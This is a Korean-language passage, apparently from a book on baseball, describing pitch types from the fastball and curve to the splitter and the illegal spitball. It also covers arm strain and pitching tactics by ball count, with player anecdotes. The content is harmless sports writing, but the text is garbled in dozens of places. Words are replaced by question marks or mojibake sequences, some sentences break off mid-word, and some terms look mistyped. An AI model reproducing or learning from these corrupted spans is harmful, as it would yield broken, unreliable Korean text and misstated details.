보스턴 레드삭스의 로저 클레멘스 Roger Clemens가 당대 최고의 강속구투수로 군림하고 있던 1980년대 중반, 뉴욕 메츠에는 드와이트 구든 Dwight Gooden이라는 걸물이 나타나 삼진을 무더기로 빼앗으며 '닥터 K'라는 별명을 얻고 있었다. 클레멘스는 1986년 4월 20개의 삼진을 뺏어내 9이닝 게임 최다탈삼진 신기록을 수립했으며 구든은 1984년에 276탈삼진으로 신인시즌최다탈삼진 신기록을 세웠다. 클레멘스는 1986년 애스트로돔에서 펼쳐진 올스타전에 출전, 구든을 상대로 배팅을 할 기회가 있었다. 그들은 양리그의 선발투수들이었다. 1985시즌에는 부상으로 부진했던 클레멘스는 1986년 들어 14연승을 거두는 등 시즌 초반 엄청난 기세를 올리면서 이 게임을 맞을 무렵에는 15승2패를 거두고 있었다(시즌 최종성적은 24승4패). 1985년에 24승4패를 따냈던 구든은 이 시점에서 10승4패를 기록하고 있었다.

구든은 클레멘스??직구를 던졌다. '구든의' 직구를.

클레멘스는 포수 개리 카터 Gary Carter를 돌아보며 물었다.

"지금 저 친구가 던진 공이 내가 던지는 것만큼 빠릅니까?"
이는 곧 '나도 저만큼 빠른 볼을 던지는가요?'라는 물음이었다.

"그야 물론이지."

그러자 클레멘스는 혼자 생각했다. 저토록 빠른 볼은 인간으로서 도저히 쳐낼 수 없다. 타석에서 빠른 직구의 위력을 스스로 체험해본 그는 그뒤 정교한 투구배합에는 별로 신경쓰지 않고 빠른 직구를 최대한 활용했다. 그것은 현명한 결정이었다. 그러나 클레멘스만큼 빠른 직구를 갖추지 않고서는 직구 하나만으로 성공한다는 것은 어림없는 얘기다.

②두번째 기본구질은 커브다. 커브라는 말에는 여러가지 변화구를 뭉뚱그린 집합적인 의미가 담겨 있기도 하다. 왜냐하면 꺾이는 정도나 스피드가 제각기 다른 것들도 그냥 커브라고 부르기 때문이다. 그러나 커브의 가장 큰 특성은 꺾이는 방향이 아래쪽이라는 데에 있다. 공에 알맞는 회전을 걸어주면 앞으로 나가려는 전진력이 줄어들면서 플레이트 부근에 다가왔을 때 공의 회전력과 전진력이 상호작용을 일으켜 우타-우타, 좌투-좌타의 대결인 경우 타자로부터 멀리, 아래쪽으로 꺾인다.

③투수의 레퍼토리 중에서 결코 빼놓을 수 없는 제3의 필수품은 '체인지 오브 페이스 change of pace'다. 이것은 빠른 직구와 확연하게 대비되는 느린 속도를 가져야 하지만, 지금 바로 이 순간에 이 볼을 사용한다는 것을 미리 타자?? 간파당해서는 안된다. 체인지 오브 페이스는 그립에 따라 여러가지로 불리는데(예를 들면 팜볼) 투구모션이 보통의 직구, 커브와 절대로 달라지면 안된다.

선발투수가 제대로 능력을 발휘하려면 이상과 같은 세 가지 구질은 반드시 자유자재로 구사할 수 있어야 한다. 그렇다고 세 가지가 모두 최상급일 필요는 없다. 대단히 빠른 직구를 구사하는 투수라면 평범한 커브나 초보적인 체인지업만으로도 충분히 보조할 수 있으며 빼어난 커브를 갖고 있으면 적당한 스피드의 직구만 갖고 있어도 괜찮다. 다시 말해서 투구내용은 '빠르게, 느리게, 그리고 휘게'라는 세 묶음으로 나눌 수 있다. 이 세 타입의 투구를 언제라도 필요에 따라 스트라이크로 던질 수 없는 투수는 메이저리그에서 오래 버텨내지 못한다.

④슬라이더 slider는 직구와 커브의 중간형으로 현대야구에서 가장 널리 쓰이고 있다. 야구의 세계가 늘 그런 것이지만 이것도 이제는 새로운 발명품이라고는 할 수 없게 됐다. 직구와 커브, 체인지업 등 세 가지는 이미 20세기 초입에 확고하게 자리를 굳힌 주요구질들이었다. 슬라이더는 2차세계대전이 끝난 1940년대 중반 이후에야 비로소 널리 보급됐다.

커브와 슬라이더의 가장 큰 차이는 꺾이는 비행각도에 있다. 슬라이더는 거의 마지막까지 직구처럼 보이다가 갑자기 왼쪽 또는 오른쪽으로 방향을 트는 것인데 그 각도는 작지만 타자의 타격초점을 피하기에는 충분하다. 그러나 슬라이더는 커브처럼 날카롭게 꺾이지는 않고 거의 직구처럼 비행한다.

커브에 여러 종류가 있듯이 슬라이더도 여러가지 투구법을 한데 묶어 부르는 명칭이다. 슬라이더는 브레이크나 스피드를 여러가지로 변형시킬 수 있다. 슬라이더는 개발단계이던 1930년대까지만 해도 브레이크의 각도가 작은 점을 꼬집어 '얼??커브 nickel curve' 또는 '아웃슈트 outshoot'라고 불리었다. 그러다가 홈런을 노리고 크게 휘두르는 타자들이 직구로 알고 스윙했으나 공이 엉뚱한 궤도로 휘어져 나가 번번히 헛??되자 1950년대부터 슬라이더는 투수들 사이에 선풍적 인기를 얻으면서 널리 보급됐다.

슬라이더는 오늘날 주요 레퍼토리로 자리잡은 게 사실이지만 20여년 전만큼 큰 대접은 받지 못하고 있다. 다른 구종들이 많이 개발됐기 때문이다. 요즘은 슬라이더를 던져야 할 상황에서 '스플리터 splitter'나 '컷 패스트볼 cut fastball'이라는 신종투구를 사용하는 예가 많아졌다. 이런 것들은 잠시 후에 살펴보겠다.

⑤스크루볼 screwball은 한마디로 역회전 커브다. 이는 점차 사용빈도가 높아지고 있지만 아직도 여전히 희귀한 레퍼토리에 속한다. 좌완투수가 우타자를 상대할 때 이 구질을 쓰면 여느 커브와 달리 타자의 몸쪽에서 바깥쪽으로 휘어져 나간다. 그렇기 때문에 우타자들을 상대하는 좌완투수들이 주로 사용한다. 우완투수는 좌타자를 상대할 때 구태여 밖으로 휘어져 나가는 커브를 써야 할 필요를 느끼지 않으며, 그렇다고 우타자들을 상대하면서 더 ??좋으라고 그 볼을 던질 리는 없다. 따라서 우완투수들은 이 볼을 자주 사용하지 않는다.

그런데 스크루볼은 팔, 그 중에서도 특히 팔꿈치에 대단한 압박을 준다는 문제점을 갖고 있다. 공을 회전시킬 때 손목을 무리하게 바깥쪽으로 비틀어야 하기 때문이다. 어떤 투수는 스크루볼은 전혀 던지지 못하며, 너무 많이 쓰면 반드시 육체적으로 대가를 치러야 한다.

⑥너클볼 knuckleball은 손가락끝이나 마지막 관절로 공을 쥐고 회전이 먹지 않도록 던지는 게 요령이다. 이 공은 플레이트까지 날아오면 전진력이 거의 소모되어 공기압력이나 기류에 크게 영향을 받게 된다. 따라서 갑자기 이상하게 흔들리게 되는데 타자는 물론 포수까지도 공의 굴절방향을 정확히 예측하기 어렵다. 간혹 빠른 너클볼을 구사하는 투수도 없지 않지만 이것은 기본적으로 느린 구질이다.

⑦싱커 sinker는 옆으로는 거의 변하지 않으면서 마지막 순간에 갑자기 밑으로 뚝 떨어지는 것으로서 직구와 슬라이더의 변형이다. 어떤 투수는 의식적으로 던지지 않더라도 공이 떨어지는 '자연 싱커'를 갖고 있기도 하지만 일부 투수가 구사하는 싱커는 사실상 스핏볼spitball이다.

1980년대의 가장 괄목할 개발품은 스플리티 핑거 패스트볼 split-finger-fastball 또는 스플리터라고 불리우는 구질이다. 이것은 검지와 중지를 활짝 벌려 그 사이에 공을 끼우고 던지는 것인데 이 때 손가락의 위치는 직구를 잡을 때처럼 옆으로 가지런히 놓는다. 공이 홈플레이트에 ?樗?오면 마치 '테이블 위를 구르던 공이 모서리에 떨어지듯이' 날카롭게 가라앉는다. 싱커의 일종인 이 투구는 직구와 똑같은 투구모션, 똑같은 스핀, 똑같은 페이스에서 나오기 때문에 훨씬 효과적이다. 슬라이더가 커브에 비해 변화각도가 짧으면서도 효험이 있듯이 스플리터도 커브보다 떨어지는 폭은 작아도 타자를 범퇴시키기에 충분하다. 이 공이 가져오는 또하나의 이득은 타자가 직구로 알고 스윙했다가는 완전히 헛??마련이고 설사 맞힌다 하더라도 투수가 바라마지 않는 땅볼이 되기 십상이라는 점이다.

로저 크레이그 Roger Craig는 이 투구법을 최초로 발명한 사람은 아니지만 완성품으로 가다듬은 인물로 꼽히고 있다. 1970년대 후반 릴리프전문투수로 맹활약한 브루스 수터 Bruce Sutter는 워낙 손이 커서 공을 잡기가 용이했기 때문에 이 볼을 즐겨 던졌다. 디트로이트팀의 투수코치를 거쳐 샌프란시스코 감독이 된 크레이그는 10여명의 투수진??이 투구법을 가쳤고 다른 팀 투수?鍍?누구든지 원하기만 하면 이 투구법을 가르쳐주었다. 이 볼을 마스터한 투수는 1980년대에 가장 강력한 무기로 활용했다.

스플리트 핑거는 직구만한 스피드는 갖고 있지 않지만 체인지업과 싱커의 혼합품으로서 애용된다. 이 구질은 ▲공을 얼마나 꽉 잡느냐 ▲공을 놓는 순간 손목을 얼마나 쓰느냐 ▲공을 어떤 형태로 쥐느냐 ▲그밖의 세부적인 기술(선수마다 손가락 모양이나 길이에 따라 큰 폭으로 달라진다)에 따라 점진적으로 컨트롤을 잡아갈 수 있다. 일반적으로는 공을 느슨히 쥘수록 똑같은 팔놀림에서도 공의 속도가 느려지고, 손목의 스냅(팔꿈치꺾기도 마찬가지)이 날카로울수록 브레이크 각도가 커진다.

그리고 어떤 식으로든 손목의 스냅을 이용하면 팔에 손상이 ??된다. 피칭이란 원래 인체상 부자연스러운 동작이므로 오로지 직구만 던진다 하더라도 (오버핸드로 던질 경우) 어깨에 무리가 오게 마련인데 하물며 변화구까지 섞는다면 팔의 근육, 인대와 관절에 더 큰 부담을 줄 수밖에 없다.

어떤 구질이 투수의 팔에 가장 큰 해를 미치느냐에 대해서는 시대에 따라 주장하는 바가 다르다. 어떤 투수코치는 슬라이더가 장기적으로 볼 때 투수??가장 해롭다고 주장하고 어떤 코치는 스플리터가 그보다 더 해롭다고 말한다. (뭐니뭐니 해도 스크루볼이 가장 큰 손상을 가져온다는 데에는 이론이 없다. ) 그러나 여기에 대해서는 완전히 의견이 일치된 것은 없고 다만 '어떤' 구질을 던지거나 피칭이라는 행위 자체가 팔을 해친다는 것만은 누구도 부인하지 않는다. 그저 누구의 팔이 다른 사람보다 더 오래 견디느냐 하는 차이만 있을 뿐이다. (놀란 라이언을 좋아하는 어느 젊은 팬은 "먼 훗날 라이언이 죽으면 그의 팔을 부검해 봤으면 좋겠다"고 말했는데 이는 매우 흥미로운 일이 아닐 수 없다. )

⑧스핏볼 spitball은 약 3세대 전(1920년)에 사용금지조??내려진 불법투구지만 아직도 메이저리그 선수 중 거의 4명 중 1명꼴로 은밀히 쓰고 있다. 손가락에 침 따위의 미끄러운 물질을 발라 직구와 똑같은 방식으로 던지면 공의 상단이 손에서 먼저 빠져나가면서 공에 톱스핀이 걸려 홈플레이트 부근에서 갑자기 밑으로 떨어지는 변화를 일으킨다.

스핏볼은 직구로 보이다가 최종순간에 변화를 일으키는 공이므로 그 효과는 엄청나게 크다. 그래서 많은 투수들이 이 투구법을 익혀 결정적인 순간에 이용한다. 심판이나 야구행정당국은 스핏볼을 알고도 모르는 척 넘겨버리는데 그건 어쩔 수 없는 노릇이다. 사실 장타가 폭발적으로 늘어난 1차세계대전 말기에 스핏볼을 불법투구로 규정한 것은 이해할 수 없는 조치였다. 타자들은 이 불법투구에 범퇴당하고 나서 심하게 불만을 표시하곤 했는데 그도 그럴 것이 스핏볼을 때려 홈런을 뽑았다는 사람은 하나도 없었기 때문이다. 투타의 균형을 맞추기 위해서는 투수들이 이 무기를 사용하는 것을 허용했어야 하지 않나 싶다. 그러나 스핏볼도 여느 구질이나 크게 다를 게 없다. 좋은 투수가 사용하는 스핏볼은 무서운 무기가 되지만 엉성한 투수를 갑자기 뛰어난 투수로 만들어주는 무기는 되지 못한다.

다른 '속임수' 투구들도 스핏볼과 함께 불법화됐지만 오늘날에도 은밀하게 그런 것들을 사용하는 투수가 분명히 있다. 공의 표면을 온갖 방법을 동원해서 깎아내거나 꺼칠꺼칠하게 하거나 미끌거리게 만들어 던지면 공은 비정상적으로 날아??된다.

1980년대에 와서는 스핏볼 사용이 줄어든 대신 공에 흠집을 내는 방법이 늘어났다. 이런 변화는 유행을 탄 것이라고 할 수 있고 어떤 면에서는 실용성에 따른 것이라고도 할 수 있다. 한동안은 침보다 바셀린이 자주 쓰였다.

그러나 세월이 흐르면서 스핏볼의 대가였던 투수들이 일선에서 사라짐에 따라 이 기술을 후세에 전수할 경험자가 극소수로 줄어들었다. 한편 부정한 방법에 의지해야만 겨우 버틸 수 있는 단계에 다다른 1980년대 투수들은 공에 흠집을 내는 편이 이물질을 바르는 것보다 훨씬 손쉽고 공의 궤적을 변형시키는 데도 더 효과적이라는 것을 알게 됐다. 그러나 실질적인 효과는 심리적인 데에 숨어있다. 부정투구를 한다는 소문이 난 투수는 그 점을 최대한 활용한다. 그가 무슨 꿍꿍이수를 쓸지도 모른다고 생각하는 타자는 정상적으로 투구에 대처하지 못하고 집중력까지 잃게 된다. 그러니까 그런 투수는 공에다 뭔가 부정한 짓을 저지르는 체하고 실제로는 정상적인 피칭을 하더라도 자신이 궁극적으로 노리는 것, 즉 타자의 집중력을 뺏는 데 성공한 셈이다.

이상 설명한 것들이 일반적인 투구들이다. 직구, 커브, 체인지업, 슬라이더, 스크루볼, 너클볼, 싱커, 그리고 스핏볼을 비롯한 '속임수'투구 등으로 분류할 수 있다. 이런 것들은 제각기 장점을 갖고 있지만 동시에 위험성도 내포하고 있다.

직구는 스피드만 충분하다면 가장 안전한 공이다. 그러나 스피드가 충분하지 못하면 가장 얻어맞기 좋을 뿐 아니라 공이 배트에 맞았을 때 자체 스피드가 반발력을 더해주므로 가장 멀리 날아간다. 앞서 말한대로 타자가 판단하기 가장 좋은 구질이기도 하다.

커브는 브레이크가 제대로 날카롭게 듣지 않고 밋밋하게 날아오면 큰 봉변을 당할 수 있다. 직구보다 스피드가 떨어지기 때문에 타자로서는 타이밍을 잡기 좋다. 그리고 변화가 작으면 통타당하기 십상이다. 커브를 던질 때 가장 주의해야 할 것은 반드시 스트라이크존의 '낮은 지역'을 통과시켜야 한다는 것이다. '높은 커브'는 투구가 아니라 재앙을 부르는 악마라고 불러도 좋다.

체인지업은 반드시 다른 투구와 대비를 이룰 때만 존재한다. 그래서 올바로 이용할 때여야 위력을 발휘한다. 만약 타자가 속지 않고 미리 이것에 대비하고 있을 경우에는 얻어맞기 꼭 좋은 공이 되므로 위험천만이다.

슬라이더는 전반적인 타율을 낮춘 대신 홈런을 크게 증가시킨 주범으로 꼽히고 있다. 슬라이더가 제대로 먹혀들면 훌륭한 볼이 되지만 그렇지 않을 경우에는 '고퍼 gopher'용이 되고 만다. 왜 홈런을 '고퍼'라고 부르는가? 이는 투수들이 "맞았다 하면 펜스를 향해 날아간다 go for the fence"고 자조적으로 말한 데서 유래했다. 그러니까 고퍼란 은어로 쓰이는 것이지 '굴을 파서 땅속에 사는 북미산 뒤쥐'라는 사전적 의미와는 전혀 관련이 없다. 슬라이더는 말 그대로 미끄러지지 않으면 스피드 없는 직구에 불과하다. 그리고 슬라이더가 올바른 지점을 찾아들지 않고 엉뚱하게 안쪽으로 쏠리게 되면 타자의 약점을 파고들기는커녕 오히려 타자의 가장 강한 곳으로 기어드는 꼴이 되고 만다.

스크루볼의 최대난점은 던지기가 어렵다는 데에 있다. 이 투구법은 몸에 익히기도 어렵고 팔에 받는 부담도 크다. 그러나 일단 스크루볼을 자유자재로 컨트롤할 수 있다면 기가 막힌 위력을 가질 뿐 아니라 대단한 성공을 보장한다. 타자의 눈으로 보기에는 다른 변화구와는 정반대 방향으로 휘어지는데다 접할 기회도 많지 않기 때문에 여간 공략하기가 어렵지 않다.

너클볼은 모든 구질 가운데 타자가 가장 ??어려운 공이며 동시에 투수가 컨트롤을 잡기도 가장 어려운 투구다. 투수조차 공이 어디로 흐를지 모르기 때문에 두 가지 문제가 발생한다. 하나는 스트라이크를 상시로 던질 수 없다는 것(만약 그럴 수만 있다면 호이트 웰헬름 Hoyt Wilhelm이나 필 니크로 Phil Niekro처럼 고령이 될 때까지 투수생활을 할 수 있다), 또하나는 누상에 주자가 있을 때 쓰기가 거북하다는 것이다. 포수가 놓칠 위험이 다분하기 때문이다. 실제로 너클볼을 결정구로 사용하는 투수들은 제3스트라이크가 뒤로 빠지는 바람에 타자가 스트라이크아웃 낫아웃으로 살아나가는 낭패를 보는 경우가 적지 않다. 또 설사 포수가 제대로 잡더라도 도루를 내줄 공산이 큰 게 단점이다.

이런 구질들은 피칭의 원재료에 지나지 않는다. 메이저리그에서 성공하려면 최소한 세 가지는 갖고 있어야 한다. 여기서 '갖고 있다'는 것은 위급한 상황에서도 자신있게 던질 수 있어야 한다는 뜻이다. 물론 예외가 없는 것은 아니다. 니크로는 믿을 만한 무기라는 게 오로지 너클볼뿐이었다. 그러나 그런 투수는 극히 드물다.

투수가 "새로운 레퍼토리를 추가한다"는 것은 몇년의 연습기간을 거쳐 비교적 안전한 상황에서 시험적으로 던져 보고 거기에 대한 감각을 익혔을 때 비로소 쓸 수 있는 말이다.

원재료를 마련하는 것도 피칭의 과학에 속하는 것이지만 모든 투구들이 순조롭게 실전에서 활용될 수 있도록 조절한 기술에도 과학성이 깃들어 있다. 부상, 피로, 부주의, 의욕과잉 따위는 투수의 리듬이나 투구패턴을 빼앗아가는 악재들이다(이것들은 타자?都? 슬럼프를 부르는 요소들이다). 대개 투수 자신이나 코치는 기술적 결점을 찾아내 나빠진 상태를 바로잡게 된다. 투수들은 투구가 마음먹은 대로 들어가지 않을 때는 충분한 시간을 할애해서 동작을 하나하나 뜯어봐야 하는데 이때는 비디오가 큰 도움이 된다. 그렇게 하고나면 이제 무엇을 언제 어디로 던져야 하느냐 하는 피칭요령을 논할 단계를 맞는다. 전술이나 논리적 사고는 바로 여기서 출발한다.

기본적으로 투수는 타자의 의표를 찌르려고 한다. 타자는 자기가 ??좋아하는 '자기 공'을 노리고 있다. 반면 투수는 자기가 좋아하는 '투수의 공'을 향해 타자가 배트를 휘둘러주기를 바란다. 그렇다면 마운드에 선 투수는 무엇을 고려해야 할까?

첫째, 볼카운트와 아웃카운트, 스코어, 이닝을 생각한다. 그런 것들이 어떻게 돼 있느냐에 따라 투구내용이 달라진다.

둘째, 투수는 '손끝의 마음'으로 모든 타자의 장단점을 기억하고 있어야 한다. 게임에 들어??전에 이런 것들을 다시 한번 세밀히 ?改磯?

셋째, 자신이 던지는 구질들의 상태를 마음 속으로 ?改磯? 어느 볼이 오늘 잘 듣고 어느 것이 먹혀들지 않는지, 그리고 오늘 뿐 아니라 '지금 이 이닝에서는' 그 공이 어떤 상태에 있는지를 살핀다.

넷째, 누상에 주자가 얼마나 있느냐. 이것도 피칭내용을 결정하는 데 작용한다.



이상과 같은 것들을 좀더 세밀히 살펴보자.

효과적인 피칭을 하기 위한 첫째 조건은 볼카운트를 유리하게 끌어나가는 것이다. 초구가 스트라이크면 산술상으로 투수가 우위를 확보한다. 이제 볼을 세 개 거푸 던지더라도 주자를 포볼로 누상에 내보내지 않으며 그중 한 개만이라도 스트라이크가 되면 타자를 투 스트라이크라는 궁지에 몰아넣을 수 있다. 다른 말로 바꾸면 초구를 스트라이크로 잡아놓으면 투수는 스트라이크존의 외곽을 찔러 타자의 헛스윙이나 범타를 유도할 수 있으며, 혹시 볼이 되더라도 계속 겨룰 수 있는 여유가 있다. 다음 네 개의 공 가운데 한 개만 스트라이크가 되면 볼카운트 2―3에서 계속 싸울 기회를 갖게 된다.

반면 초구가 볼이 되면 전개되는 상황이 그다지 좋지 않다. 2구마저 볼이 된다면 투수는 볼카운트 0―2라는 궁지에 몰리게 되고 다음 네개 중 세 개는 '반드시' 스트라이크를 던져야 한다. 그러다 보면 타자가 노리고 있는 곳에다 공을 던질 수밖에 없는 확률이 훨씬 높아지고 반드시 스트라이크를 던져야 한다는 심리적 부담은 신체에도 영향을 미쳐 목표지점에 정확히 던지기가 더욱 어려워진다. 이런 일은 경험이 부족한 신인투수들?獨?자주 나타나지만 노련한 투수라고 해서 완전히 초연한 것은 아니다.

상대하는 타자마다 연방 볼카운트 0―2 또는 1―3으로 몰리는 것은 투수가 난조에 빠져 있다는 것을 보여주는 확실한 증거다. 볼카운트 0―1 또는 1―2만 해도 다음 공으로 카운트를 만회할 여지가 있으므로 그다지 나쁜 상황이라고는 할 수 없다. 워렌 스판 Warren Spahn처럼 컨트롤의 대가들은 일부러 그런 볼카운트를 만들기도 했다.

돈 드라이스데일 Don Drysdale은 우수한 투수들이 공통적으로 갖고 있는 피칭철학을 단적으로 보여주고 있다.

"볼카운트가 유리해지기 전에는 타자의 약점을 찌르는 것에 집착할 필요가 없다. 가정 먼저 생각해야 할 것은 위력있는 주무기를 써서 볼카운트를 유리하게 이끄는 것이다. 스트라이크존을 통과시키지 못해 볼카운트가 뒤지면 곤란하다. 따라서 타자가 때리고 싶으면 투수가 가진 최고의 무기를 때리도록 만들어야 한다. 그래서 일단 볼카운트를 유리하게 만들어놓은 다음에는 타자의 약점을 노려도 좋다."

그리고 나서 그는 필자가 들어본 중에서 가장 유려하고 의미심장한 금언을 만들어냈다.

"볼카운트 2―1에서는 투수가 이긴다. 볼카운트 1―2에서는 타자가 이긴다. 그리고 그 둘의 차이는 1인치에 있다."

감독들은 볼카운트 2―0에서 안타를 맞는 투수를 마치 죄인 다루듯 하는 경향이 있다. 그런 유리한 상황에서 스트라이크존 한복판이나 타자가 좋아하는 곳으로 던졌다가 얻어맞는 것은 도대체 변명의 여지가 없다는 것이다.

뉴욕 자이언츠를 이끌던 멜 오트 Mel Ott감독은 볼카운트 2―0에서 카디널스 타자??홈런을 맞은 빌 브와젤 Bill Voiselle??500달러의 벌금을 물린 적이 있다. 당시 연봉 3천5백달러였던 브와젤은 그 벌금액수에 질려 자신이 뭔가 어마어마한 사건에 휘말리기라도 한 듯한 표정을 지으며 어느 기자??귓속말로 물었다.

"저처럼 많은 벌금을 먹은 사람은 없었죠?"
"아냐, 베이브 루스는 5천달러를 낸 적도 있었어."

"어휴! 난 그만큼은 죽어도 낼 재간이 없어요."

이것은 물론 1940년대의 얘기다. 오늘날 마크 랭스턴 Mark Langston같은 연봉 3백만달러의 투수들은 '1이닝당' 1만달러 이상의 거금을 벌고 있다. 당시 브와젤이 연봉규모가 이렇게 변할 것을 알았더라면 생각이 어땠을까. 다시 말해서 지금은 벌금 따위로는 선수를 제재하거나 교훈을 주기 어려워진 시대가 되고 말았다.

그건 그렇고 투수나 투수코치는 감독의 그런 옹졸한 견해에 반발하고 있다. 그들은 볼카운트 2―0에서도 적극적으로 타자를 처리하려고 했을 뿐이라고 주장한다.

즉, 기왕 볼카운트가 유리해진 마당이라면 굳이 불리할 때 쓰는 투구요령을 이용할 필요가 없다는 것이다. 볼카운트가 유리하면 최대한 자신있게 타자의 약점을 파고들 여유가 있으며 때로는 미완성 구질을 시험해 볼 수도 있다. 그러나 볼카운트가 뒤져 있다면 컨트롤에 자신이 없는 한 타자의 약점을 파고들어갈 여지가 없다.

공을 목표한 지점에 정확하게 꽂아넣는 것에 대해서는 너무 과장하거나 오해하고 있는 경향이 있다. 아무리 컨트롤이 빼어난 투수라도 언제난 백발백중 목표한 지점에 공을 보낼 수는 없다. 투수가 상대하는 것은 추상적인 공간(스트라이크존)이 아니라 살아있는 타자다. 만약 공의 방향과 움직임, 스핀, 그리고 구질의 선택이 올바르다면 이상적인 타케트에서 3∼4㎝ 쯤 비껴나도 충분하다.

그러므로 투수들은 볼이 빠지더라도 '목표했던 방향으로' 빠지게 하라는 주문을 받고 있다. 예를 들면 A라는 투수가 B타자를 상대한다고 가정하자. B는 안쪽 낮은 볼에는 약점을 갖고 있으나 한복판 낮은 볼은 잘 때린다. 이럴 경우 A는 타자의 무릎 부근을 겨냥하게 되는데 혹시 실수해서 빗나?? 되더라도 '타자 쪽으로' 빠져야지 B타자가 강점을 가진 홈플레이트 쪽으로 쏠려서는 안된다는 뜻이다.

이런 것을 일반적으로 타자를 "몰아붙인다 jamming"고 말한다. 강한 투구가 당초 겨냥한대로 타자의 몸쪽으로 들어가면 타자가 치더라도 배트의 손잡이부분에 맞기 때문에 타구가 약해진다. 그러나 7㎝ 정도만 중앙으로 들어가면 배트의 중심부에 맞아 펜스를 넘어갈 수 있다. 반대로 너무 타자 쪽으로 치우치면 타자의 몸을 맞혀 출루시키는 위험이 뒤따른다. 몸쪽 피칭의 효용은 타자가 충분히 팔을 뻗지 못해 볼을 맞혀봤자 강한 타구가 나오지 않는다는 데에 있다. 우수한 타자들은 몸에 붙는 공이 들어오더라도 파울로 걷어낸 뒤 다시 때릴 기회를 갖기 때문에 그다지 겁내지 않는다. 그러나 기술이 미숙한 타자들은 약한 타구를 날려 아웃되거나 헛??만다.

볼카운트는 투수가 다음에 어떤 공을 던지느냐를 결정하는 데 중요한 요소다. 아웃카운트, 스코어, 이닝도 관련이 있다. 무턱대고 크게 휘두르는 타자는 타구가 비록 멀리 날아가더라도 펜스 앞에서 잡히는 외야플라이로 처리하면 그만이다. 그러나 2사 이전에 3루주자가 있을 때는 이런 처리법이 허용되지 않는다. 2∼3점을 리드한 가운데 주자가 없는 때라면 (완전히 좋은 방법이라고는 할 수 없지만) 홈런을 맞을 것을 각오하고 모험적인 피칭을 해도 괜찮다. 그러나 동점인 9회말에서는 생각도 할 수 없는 방법이다. 다시 말해서 동일한 타자를 상대하더라도 '항상 최선인' 투구법은 없다. 그때그때 볼카운트나 상황에 따라 달라지는 것이다.

피칭요령은 타자의 강·약점에 대한 분석에 따라서도 달라진다. 이 분석은 그 타자가 어떤 구질을 잘 때리고 못 때리느냐 하는 것 외에도 '어떤 볼에 배트가 잘 나오느냐'를 살피는 것도 포함된다. 이는 투수에 따라 달라지기도 한다. 즉 어느 타자는 어떤 특정한 투수의 커브는 잘 때리면서도 다른 투수의 커브에는 형편없이 약할 수도 있다. 따라서 투수는 자신의 강??타자 개개인의 능력을 토대로 자신??맞는 자료를 작성해야 한다. 이 자료를 토대로 투수는 '바로 이번 대결에서' 자기가 바라는 대로 타자를 유도하는 공을 선택해야 한다. 투수가 바라는 대로 유도한다는 것은 더블플레이용 땅볼을 이끌어내거나 타구가 왼쪽 또는 오른쪽으로 날아가도록 하는 것을 말한다.

이런 내용들은 전문??아니고서는 알아내기 힘들다. 투수는 실전에서 '어떤' 타자??'어떤' 커브를 던지는 게 아니라 '특정한' 타자??'특정한' 커브를 던지는 것이다. 중요한 것은 '그 투수'의 피칭이 '그 타자'??어떻게 먹히도록 하느냐 하는 것이다.

투수는 현 시점에서 자신의 주무기가 어떤 상태에 있느냐를 응당 파악하고 있어야 한다. 평소 커브를 주무기로 삼던 투수도 그날만은 별로 신통치 않다면 사용빈도를 줄이고 그 대신 직구를 더 많이 사용해야 한다. 어떤 공의 대가라고 정평이 나 있는 투수라면 투구패턴을 바꾸는 것까지도 타자 요리에 활용해야 한다.

일반적으로 투수들은 스트라이크는 아니면서도 타자가 스윙하도록 만드는 '아웃피치'에 골몰하고 있다. 하나의 사례를 가정해 보자. 릭 로이셀 Rick Reuschel이 캔들스틱 파크에서 데일 머피 Dale Murphy를 상대로 겨루고 있다. 지금 상황은 6회말 1사1루에 스코어는 동점. 로이셀은 당연히 더블플레이를 끌어내고 싶다. 그러나 지금의 직구 위력으로는 머피를 압도하기 어렵다고 느낀다. 그래서 그는 머피?? '아웃피치'한다. 즉 직구를 던지되 스트라이크존에서 벗어나게 던진다. 이런 피칭은 두 가지 면에서 효용이 있다. 스피드에 차이를 두어 타자가 다음 투구에 대한 타이밍을 잡기 어렵게 만드는 게 첫째이고 스트라이크존을 벗어나더라도 타자가 치려고 대들도록 하는 게 둘째다.

여기서 우리는 "타자의 허를 찌른다"는 미묘한 대목에 마주??된다. 샌디 쿠팩스 같은 대투수들은 이게 얼마나 허무맹랑한 말이냐며 코웃음을 친다. 투수는 원?? 타자를 속이려드는 쪽이고 야구는 두 마음이 겨루는 허허실실의 게임이다. 만약 투수가 타자의 마음을 읽고 그를 속일 수 있다면 얼마나 좋을까. 그러나 투수가 타자의 마음을 헛짚는다면 "허를 찌른다"는 것은 자기기만에 지나지 않는다는 것이다.

그러나 타자의 허를 찌른다는 것은 그 기술의 어느 부분이 의도적이고 어느 부분이 우연인지는 제쳐 놓더라도 매우 재미있는 ?